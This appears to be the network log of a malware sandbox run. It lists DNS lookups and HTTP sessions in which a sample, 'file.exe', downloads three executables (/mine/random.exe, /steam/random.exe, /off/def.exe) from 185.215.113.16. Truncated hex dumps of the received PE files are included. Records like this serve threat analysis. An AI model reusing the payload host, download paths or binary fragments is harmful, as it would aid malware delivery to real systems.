Oct 26, 2024 08:54:51.937269926 CEST	1.1.1.1	192.168.2.7	0xc4a9	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.940944910 CEST	1.1.1.1	192.168.2.7	0x8563	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.965923071 CEST	1.1.1.1	192.168.2.7	0xb6b9	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:51.969943047 CEST	1.1.1.1	192.168.2.7	0x47d1	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:52.607748985 CEST	1.1.1.1	192.168.2.7	0x3958	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:54.500545979 CEST	1.1.1.1	192.168.2.7	0xbc2d	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.529381990 CEST	1.1.1.1	192.168.2.7	0x2f1d	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:55.529381990 CEST	1.1.1.1	192.168.2.7	0x2f1d	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:55.529381990 CEST	1.1.1.1	192.168.2.7	0x2f1d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540285110 CEST	1.1.1.1	192.168.2.7	0xd60d	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540497065 CEST	1.1.1.1	192.168.2.7	0x78fa	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:55.540497065 CEST	1.1.1.1	192.168.2.7	0x78fa	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.545646906 CEST	1.1.1.1	192.168.2.7	0x926d	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549113035 CEST	1.1.1.1	192.168.2.7	0xcf02	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.549293995 CEST	1.1.1.1	192.168.2.7	0x4e92	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.557648897 CEST	1.1.1.1	192.168.2.7	0x99aa	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Oct 26, 2024 08:54:55.563396931 CEST	1.1.1.1	192.168.2.7	0x5b84	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:54:55.563396931 CEST	1.1.1.1	192.168.2.7	0x5b84	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.563396931 CEST	1.1.1.1	192.168.2.7	0x5b84	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.563396931 CEST	1.1.1.1	192.168.2.7	0x5b84	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.563396931 CEST	1.1.1.1	192.168.2.7	0x5b84	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.563493967 CEST	1.1.1.1	192.168.2.7	0x459c	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:55.563493967 CEST	1.1.1.1	192.168.2.7	0x459c	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:55.563493967 CEST	1.1.1.1	192.168.2.7	0x459c	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:55.563493967 CEST	1.1.1.1	192.168.2.7	0x459c	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 26, 2024 08:54:55.575227976 CEST	1.1.1.1	192.168.2.7	0x5964	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.575262070 CEST	1.1.1.1	192.168.2.7	0x3a58	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.575262070 CEST	1.1.1.1	192.168.2.7	0x3a58	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.575262070 CEST	1.1.1.1	192.168.2.7	0x3a58	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.575262070 CEST	1.1.1.1	192.168.2.7	0x3a58	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:54:55.591797113 CEST	1.1.1.1	192.168.2.7	0x19ed	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.457525015 CEST	1.1.1.1	192.168.2.7	0xdade	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:17.457525015 CEST	1.1.1.1	192.168.2.7	0xdade	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.457986116 CEST	1.1.1.1	192.168.2.7	0xcf98	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:17.457986116 CEST	1.1.1.1	192.168.2.7	0xcf98	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.482424021 CEST	1.1.1.1	192.168.2.7	0x4592	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.684186935 CEST	1.1.1.1	192.168.2.7	0x46d	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:17.684186935 CEST	1.1.1.1	192.168.2.7	0x46d	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.685265064 CEST	1.1.1.1	192.168.2.7	0x718	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Oct 26, 2024 08:55:17.769073009 CEST	1.1.1.1	192.168.2.7	0xff74	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:17.840372086 CEST	1.1.1.1	192.168.2.7	0x9c29	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:17.958100080 CEST	1.1.1.1	192.168.2.7	0x7be	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:17.958100080 CEST	1.1.1.1	192.168.2.7	0x7be	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:18.179469109 CEST	1.1.1.1	192.168.2.7	0x9b6e	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:18.179469109 CEST	1.1.1.1	192.168.2.7	0x9b6e	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.444150925 CEST	1.1.1.1	192.168.2.7	0xc880	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:45.444150925 CEST	1.1.1.1	192.168.2.7	0xc880	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.464651108 CEST	1.1.1.1	192.168.2.7	0xa2c5	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.468030930 CEST	1.1.1.1	192.168.2.7	0x2aad	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:55:45.468030930 CEST	1.1.1.1	192.168.2.7	0x2aad	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:45.469192982 CEST	1.1.1.1	192.168.2.7	0xd8aa	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:55:56.276129961 CEST	1.1.1.1	192.168.2.7	0x5c90	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:08.869968891 CEST	1.1.1.1	192.168.2.7	0x44a2	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:15.304910898 CEST	1.1.1.1	192.168.2.7	0x539b	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:15.987883091 CEST	1.1.1.1	192.168.2.7	0xa7f0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:56:15.987883091 CEST	1.1.1.1	192.168.2.7	0xa7f0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:20.494030952 CEST	1.1.1.1	192.168.2.7	0x6323	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 26, 2024 08:56:20.494030952 CEST	1.1.1.1	192.168.2.7	0x6323	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 26, 2024 08:56:37.257126093 CEST	1.1.1.1	192.168.2.7	0x93c4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49759	185.215.113.16	80	6384	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 08:52:58.608175993 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:52:59.517616034 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:52:59 GMT Content-Type: application/octet-stream Content-Length: 1897984 Last-Modified: Sat, 26 Oct 2024 06:48:41 GMT Connection: keep-alive ETag: "671c90c9-1cf600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0K@`K#@WktK$K @.rsrc@.idata @ *@juonirvb@1@iownkumr K@.taggant00K"@
Oct 26, 2024 08:52:59.517640114 CEST	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:52:59.517649889 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:52:59.517669916 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:52:59.517683983 CEST	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 26, 2024 08:52:59.667715073 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 da b0 10 61 fe b0 08 75 7c 97 63 fb 7f 60 55 21 da 04 51 03 8e f4 8a 02 da f4 b8 a0 fd 9a 39 e7 86 da 4e 02 23 04 7f 13 de 59 a4 31 99 24 a2 ae 3e e8 b2 ea c3 d8 d0 03 4f 5b 6b 2a bc Data Ascii: au\|c`U!Q9N#Y1$>O[k3B13n>hC6h)VKCC2}%c@J3Ad N#\|FD$QQ~cNDRqXz>'E5>0/xQUPjW$
Oct 26, 2024 08:52:59.667804003 CEST	1236	IN	Data Raw: f5 9a 78 d1 31 00 e0 22 63 b0 b4 dc 15 9e 05 43 b2 a2 89 3b 85 12 ef 38 e0 92 10 4c 30 e3 a7 70 2b 6f 1b c7 62 ae 8c 41 33 06 c7 41 15 ba e4 05 b3 0f 48 5d a2 21 1f 42 3e a2 a5 ea 92 92 a4 d3 50 ae a4 e4 15 3a 85 85 aa a2 7a ea d1 a3 b7 40 2a 7e Data Ascii: x1"cC;8L0p+obA3AH]!B>P:z@~u:`0\|ECrk@t#M@$QQ6R@$BXN<0rUPY"X./ 0HrA>;i:
Oct 26, 2024 08:52:59.667855978 CEST	1236	IN	Data Raw: 2c 36 2c 45 39 3f 65 60 a1 22 5d 71 32 df 57 e5 df ad 71 67 51 a2 a5 57 a4 ba e5 ed 2b aa 8f 2f c3 8b 95 b6 c2 be 9e 4d 3c 81 df 69 e0 9b 14 3d 3b f0 a9 d9 16 32 e8 17 bb 3c d8 a3 88 62 74 0c 30 66 a6 29 a3 8b b4 b1 fb 39 97 85 8f 6c f6 a1 e1 e7 Data Ascii: ,6,E9?e`"]q2WqgQW+/M<i=;2<bt0f)9l@dPJa.lI#2WfFT$O>b*bO9SS4=&nh^Fk^!r!z56zUJs{wuq:ljtGV
Oct 26, 2024 08:52:59.667891026 CEST	1236	IN	Data Raw: 92 0e 06 b4 76 ae da ec bd d0 55 8d 20 04 3d b5 94 52 da b8 a3 ba e9 96 fd 80 db 75 43 b5 c8 d0 8e cd e5 4e ad b1 6d eb 52 b3 80 68 dd da 49 3c 28 8c a7 3d db fe 07 d1 35 5a 2e d8 b3 2c 40 5f 9b 49 46 a9 b8 52 18 42 ea 84 db 65 10 57 7c 33 ab 00 Data Ascii: vU =RuCNmRhI<(=5Z.,@_IFRBeW\|3\$9pG-,<o$&\dW\|;=q7u3gJhc#!7$.lbkx[6=E\(tA \
Oct 26, 2024 08:52:59.667927027 CEST	1236	IN	Data Raw: 54 fc 94 5e f4 27 eb 22 f0 e0 7c ed ca 71 5d 68 b3 b2 d6 a7 2e 97 55 c9 ea 68 96 2f 4b e8 d8 6e 5f 3d bb b7 63 10 88 a2 47 e7 9f 4a c5 15 74 f9 36 bf 62 ea f5 be f2 9f 48 7f 11 7e 2d 5a de b3 1c 58 51 8a fa d4 b5 60 ca 42 98 08 c9 c9 6e 63 7e 82 Data Ascii: T^'"\|q]h.Uh/Kn_=cGJt6bH~-ZXQ`Bnc~j>1";+DoZe%746%_U@? m@Z/;87R"?a`j"<2h{xx=!$kwz`P1t\
Oct 26, 2024 08:52:59.667963982 CEST	1236	IN	Data Raw: 15 aa e0 4b 2e 5a c8 89 de 7c d6 5a 35 3e e6 9a 30 d8 a7 d9 83 62 7f bd 7b 85 bc 18 d6 b9 a0 01 86 79 be 8d 2d 52 5b 41 f3 48 c7 59 15 cf ca 2a 30 00 d7 c4 5a 82 8b 69 42 4a bd 24 3f ac a2 88 72 92 0c 09 ba 2f 2d de 30 03 56 e5 0e 1d a5 3d 76 39 Data Ascii: K.Z\|Z5>0b{y-R[AHY*0ZiBJ$?r/-0V=v9$Uds_F=hWQZ#U'=k.O\uA:d=@@&En2+lEXm?{M/IJT<k. !XX9/9-Ii^C=G\C
Oct 26, 2024 08:53:18.491177082 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:53:18.768476009 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:53:18 GMT Content-Type: application/octet-stream Content-Length: 1872384 Last-Modified: Sat, 26 Oct 2024 06:48:34 GMT Connection: keep-alive ETag: "671c90c2-1c9200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 39 24 1c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 c0 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 6a 00 00 04 00 00 20 c6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPEL9$g$j@j @P%d% %(@.rsrc %8@.idata %8@ *%:@seldsqgz0P.<@ogrbyegijj@.taggant0j"p@
Oct 26, 2024 08:53:36.664521933 CEST	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 26, 2024 08:53:36.942152977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 06:53:36 GMT Content-Type: application/octet-stream Content-Length: 2810368 Last-Modified: Sat, 26 Oct 2024 05:56:24 GMT Connection: keep-alive ETag: "671c8488-2ae200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 5e de 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +^+`Ui` @ @.rsrc`2@.idata 8@itjqivob*:@lqldnesx +@.taggant@@+"*@

